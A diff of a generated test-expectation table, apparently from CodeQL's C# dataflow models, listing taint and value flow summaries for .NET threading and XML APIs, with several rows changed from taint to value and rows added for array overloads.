System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[1];Argument[0].Parameter[0];value;manual | | System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[1];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[2];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WhenAll;(System.Collections.Generic.IEnumerable>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.ReadOnlySpan>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.Threading.Tasks.Task[]);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | @@ -18943,11 +19167,11 @@ summary | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.CancellationToken,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0].ReturnValue;Argument[this].Property[System.Threading.Tasks.Task`1.Result];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;get_Result;();Argument[this];ReturnValue;taint;manual | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.IAsyncDisposable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks;TaskAsyncEnumerableExtensions;ConfigureAwait;(System.Collections.Generic.IAsyncEnumerable,System.Boolean);Argument[0];ReturnValue;taint;df-generated | @@ -19427,7 +19651,7 @@ summary | System.Threading.Tasks;ValueTask;AsTask;();Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];value;dfc-generated | | System.Threading.Tasks;ValueTask;ConfigureAwait;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;GetAwaiter;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;ValueTask;Preserve;();Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;ValueTask;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Sources.IValueTaskSource,System.Int16);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | | System.Threading.Tasks;ValueTask;ValueTask;(System.Threading.Tasks.Task);Argument[0];Argument[this].SyntheticField[System.Threading.Tasks.ValueTask`1._obj];value;dfc-generated | @@ -19682,7 +19906,9 @@ summary | System.Xml.Linq;XContainer;Add;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;Add;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;AddFirst;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XContainer;AddFirst;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;DescendantNodes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | @@ -19693,6 +19919,7 @@ summary | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;get_FirstNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;get_LastNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XDeclaration;ToString;();Argument[this].SyntheticField[System.Xml.Linq.XDeclaration._encoding];ReturnValue;taint;dfc-generated | @@ -19751,9 +19978,11 @@ summary | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetElementValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | @@ -19779,7 +20008,9 @@ summary | System.Xml.Linq;XNamespace;get_NamespaceName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNamespace;op_Addition;(System.Xml.Linq.XNamespace,System.String);Argument[0];ReturnValue.SyntheticField[System.Xml.Linq.XName._ns];value;dfc-generated | | System.Xml.Linq;XNode;AddAfterSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddAfterSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;AddBeforeSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddBeforeSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;CreateReader;(System.Xml.Linq.ReaderOptions);Argument[this];ReturnValue.SyntheticField[System.Xml.Linq.XNodeReader._source];value;dfc-generated | @@ -19789,6 +20020,7 @@ summary | System.Xml.Linq;XNode;ReadFrom;(System.Xml.XmlReader);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReadFromAsync;(System.Xml.XmlReader,System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReplaceWith;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;ReplaceWith;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;WriteToAsync;(System.Xml.XmlWriter,System.Threading.CancellationToken);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;get_NextNode;();Argument[this];ReturnValue;taint;df-generated | @@ -19825,12 +20057,12 @@ summary | System.Xml.Linq;XText;WriteToAsync;(System.Xml.XmlWriter,System.Threading.CancellationToken);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XText;XText;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XText;XText;(System.Xml.Linq.XText);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | -| System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | @@ -19903,14 +20135,15 @@ summary | System.Xml.Schema;XmlSchemaComplexContentRestriction;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_AttributeWildcard;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_ContentTypeParticle;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaElement;get_ElementSchemaType;();Argument[this];ReturnValue;taint;df-generated | @@ -19963,12 +20196,12 @@ summary | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[1];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchemaSet);Argument[0];Argument[this];taint;df-generated | | System.Xml.Schema;XmlSchemaSet;CopyTo;(System.Xml.Schema.XmlSchema[],System.Int32);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Remove;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;dfc-generated | | System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;XmlSchemaSet;(System.Xml.XmlNameTable);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaSet._nameTable];value;dfc-generated | @@ -19995,7 +20228,7 @@ summary | System.Xml.Schema;XmlSchemaValidator;Initialize;(System.Xml.Schema.XmlSchemaObject);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaValidator._partialValidationType];value;dfc-generated | | System.Xml.Schema;XmlSchemaValidator;SkipToEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.Xml.Schema.XmlValueGetter,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateElement;(System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[0];Argument[this];taint;df-generated | @@ -20008,7 +20241,7 @@ summary | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateText;(System.Xml.Schema.XmlValueGetter);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -20382,8 +20615,10 @@ summary | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[0];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._source];value;dfc-generated | | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[1];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._nameTable];value;dfc-generated | | System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XDocumentExtensions;ToXPathNavigable;(System.Xml.Linq.XNode);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathDocument;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathDocument;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathDocument;XPathDocument;(System.Xml.XmlReader,System.Xml.XmlSpace);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System.Xml.XPath;XPathException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | @@ -20394,7 +20629,7 @@ summary | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.IXmlNamespaceResolver);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.XmlNamespaceManager);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;get_Expression;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[1];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];Argument[1];taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | @@ -20408,6 +20643,7 @@ summary | System.Xml.XPath;XPathNavigator;Compile;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;CreateAttributes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathNavigator;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathNavigator;Evaluate;(System.Xml.XPath.XPathExpression);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;Evaluate;(System.Xml.XPath.XPathExpression,System.Xml.XPath.XPathNodeIterator);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathNavigator;Evaluate;(System.Xml.XPath.XPathExpression,System.Xml.XPath.XPathNodeIterator);Argument[1].Element;ReturnValue;taint;df-generated | @@ -20510,12 +20746,14 @@ summary | System.Xml;UniqueId;UniqueId;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;AppendChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;CloneNode;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | @@ -20524,20 +20762,21 @@ summary | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[1].Element;taint;df-generated | | System.Xml;XmlAttribute;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | -| System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;PrependChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlAttribute;RemoveChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | -| System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1];ReturnValue;value;df-generated | | System.Xml;XmlAttribute;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlAttribute;WriteContentTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml;XmlAttribute;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | @@ -20773,6 +21012,7 @@ summary | System.Xml;XmlDocument;CreateElement;(System.String,System.String,System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlDocument;CreateEntityReference;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlDocument;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlDocument;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml;XmlDocument;CreateNavigator;(System.Xml.XmlNode);Argument[this];ReturnValue.SyntheticField[System.Xml.DocumentXPathNavigator._document];value;dfc-generated | | System.Xml;XmlDocument;CreateNode;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlDocument;CreateNode;(System.String,System.String,System.String);Argument[2];ReturnValue;taint;df-generated | @@ -20940,6 +21180,7 @@ summary | System.Xml;XmlNamespaceManager;get_NameTable;();Argument[this].SyntheticField[System.Xml.XmlNamespaceManager._nameTable];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;Clone;();Argument[this];ReturnValue;taint;df-generated | @@ -20948,12 +21189,14 @@ summary | System.Xml;XmlNode;Clone;();Argument[this];ReturnValue;value;dfc-generated | | 